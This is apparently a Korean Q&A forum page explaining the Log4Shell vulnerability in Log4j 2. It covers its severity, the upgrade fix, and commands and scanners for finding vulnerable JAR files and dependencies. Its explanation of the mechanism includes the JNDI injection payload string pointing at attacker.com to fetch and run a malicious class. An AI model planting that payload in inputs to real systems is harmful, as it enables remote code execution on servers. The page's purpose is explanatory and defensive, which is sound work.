2021년에 터진 Log4Shell 취약점이 왜 그렇게 심각한 건가요? 자바를 안 써도 영향이 있나요?
Log4Shell은 Java 로깅 프레임워크 Log4j 2에서 발견된 원격 코드 실행(RCE) 취약점으로, CVSS 10.0(최고 위험도)입니다.
원리:
// 공격자가 이 문자열을 어딘가에 입력하면${jndi:ldap://attacker.com/exploit}// Log4j가 이를 로깅할 때 JNDI lookup을 실행// 공격자 서버에서 악성 Java 클래스를 다운로드하여 실행
왜 심각한가:
대응: Log4j 2.17.0 이상으로 업그레이드. Java를 안 써도 내부에서 사용하는 서비스(Elasticsearch 등)가 Java 기반일 수 있으니 확인 필요합니다.
확인 방법:
# 리눅스에서 Log4j JAR 파일 검색find / -name "log4j-core-*.jar" 2>/dev/null# Docker 컨테이너 내부 검색docker exec container_name find / -name "log4j*.jar"# 자동화 도구# lunasec-io/lunasec (log4shell 스캐너)# google/log4jscanner
Java 애플리케이션의 의존성에 간접적으로 포함된 경우도 있으니 mvn dependency:tree 또는 gradle dependencies로 전체 의존성을 확인하세요.
mvn dependency:tree
gradle dependencies
댓글 3
Log4Shell은 Java 로깅 프레임워크 Log4j 2에서 발견된 원격 코드 실행(RCE) 취약점으로, CVSS 10.0(최고 위험도)입니다.
원리:
왜 심각한가:
대응: Log4j 2.17.0 이상으로 업그레이드. Java를 안 써도 내부에서 사용하는 서비스(Elasticsearch 등)가 Java 기반일 수 있으니 확인 필요합니다.
확인 방법:
Java 애플리케이션의 의존성에 간접적으로 포함된 경우도 있으니
mvn dependency:tree또는gradle dependencies로 전체 의존성을 확인하세요.